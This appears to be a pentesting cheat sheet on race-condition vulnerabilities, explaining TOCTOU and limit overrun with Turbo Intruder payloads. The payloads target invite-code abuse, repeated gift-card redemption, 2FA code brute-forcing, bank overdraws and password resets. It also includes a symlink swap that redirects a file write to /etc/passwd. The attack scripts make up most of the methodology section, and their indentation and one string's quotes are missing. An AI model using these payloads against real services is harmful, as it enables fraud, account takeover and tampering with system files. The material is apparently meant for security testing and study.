Race condition

A race condition vulnerability occurs when multiple processes or threads access and modify shared resources concurrently without proper synchronization, leading to unpredictable behavior. In a web application or system, this can be exploited to manipulate data integrity, escalate privileges, or bypass security controls.

Explanation

  1. Concurrency Issue: A system performs multiple operations on the same resource without enforcing proper execution order.
  2. Time-of-Check to Time-of-Use (TOCTOU): The system checks a condition (e.g., file existence, permission check) and then performs an action based on the result, but between these two steps, an attacker modifies the resource.
  3. Critical Section Manipulation: A shared resource is modified by multiple processes/threads simultaneously without proper locking mechanisms, leading to data inconsistency or security bypass.

Example

import os
import time
import time
filename = "secure_file.txt"
# Step 1: Check permissions (TOC - Time of Check)
if os.access(filename, os.W_OK):
time.sleep(2) # Attacker swaps file here (TOU - Time of Use)
# Step 2: Open and modify the file
with open(filename, "w") as f:
f.write("Exploited!")

While the program is sleeping (time.sleep(2)), the attacker executes

ln -sf /etc/passwd secure_file.txt # Replace with symlink to a sensitive file

Now, when the program writes to secure_file.txt, it modifies /etc/passwd instead

Methodology

Mass Account Creation via Invitation Code

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=50,
requestsPerConnection=50,
pipeline=False
)
request = '''
POST /register HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
invite_code=EXAMPLE123&username=user%s&password=Password123!
'''
for i in range(50):
engine.queue(request % i, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

Exploiting Gift Card Redemption

Payload (Turbo Intruder - Multi-threaded Requests)

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=40,
requestsPerConnection=40,
pipeline=False
)
request = '''
POST /redeem-giftcard HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
giftcard_code=FREECASH100
'''
for i in range(40):
engine.queue(request, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

Rate Limit Bypass on 2FA Code Validation

Payload (Turbo Intruder - HTTP/2 Single Packet Attack) In HTTP/2, multiple HTTP requests can be transmitted simultaneously over a single connection. The single-packet attack involves sending approximately 20 to 30 requests in one go, ensuring they reach the server at the exact same moment. This approach eliminates network jitter by bundling multiple requests into a single transmission.

Steps:

  • Use PortSwigger’s Turbo Intruder script (race-single-packet-attack.py).
  • In Burp Suite, send a request to Repeater.
  • Duplicate the request 20 times using CTRL+R.
  • Group all duplicated requests together.
  • Execute the requests simultaneously as a single-packet attack.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=50,
pipeline=True # Enables HTTP/2 pipelining
)
request =
POST /verify-2fa HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
otp_code=%s
for i in range(100000, 100020): # Bruteforce OTP range
engine.queue(request % i, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

Overdrawing Bank Account Balance

Payload (Burp Suite - Request Cloning & Parallel Execution):

  1. Send a POST request to initiate a transaction.
  2. Clone request multiple times in Burp Suite Repeater.
  3. Create a group and send all requests in parallel.
POST /withdraw HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
account_id=123456&amount=100

HTTP/1.1 Last-Byte Synchronization Attack

Payload (Turbo Intruder - Holding Last Byte Until Execution)

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
request = '''
POST /reset-password HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
Content-Length: 20
[email protected]&new_password=NewPass123!
'''
for i in range(30):
engine.queue(request[:-1], gate='race1') # Hold last byte
engine.queue("\n", gate='race1') # Release last byte
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)

Limit Overrun

Limit overrun occurs when multiple threads or processes simultaneously access or modify a shared resource, causing it to exceed its predefined constraints.

Examples:

  • Exceeding withdrawal limits by triggering multiple simultaneous transactions.
  • Casting multiple votes in an election system due to concurrency flaws.
  • Redeeming a single-use gift card multiple times before validation updates.

"Race conditions allow repeated redemption of gift cards, leading to unintended financial gains." – @muon4 "Concurrency flaws can be leveraged to exceed invitation limits." – @franjkovic "A single invitation code can be exploited to register multiple accounts." – @franjkovic

Rate-Limit Evasion

Rate-limit evasion occurs when attackers manipulate timing inconsistencies in request throttling mechanisms to exceed predefined limits. Rate-limiting is implemented to restrict excessive API requests, login attempts, or transactions, but synchronization flaws can render it ineffective.

Examples:

  • Circumventing anti-brute force protections by sending parallel authentication attempts.
  • Exploiting delays in two-factor authentication (2FA) validation to submit multiple OTPs.

"A flaw in Instagram's password reset mechanism enabled exploitation through race conditions." – Laxman Muthiyah

Writeups

Labs

Reference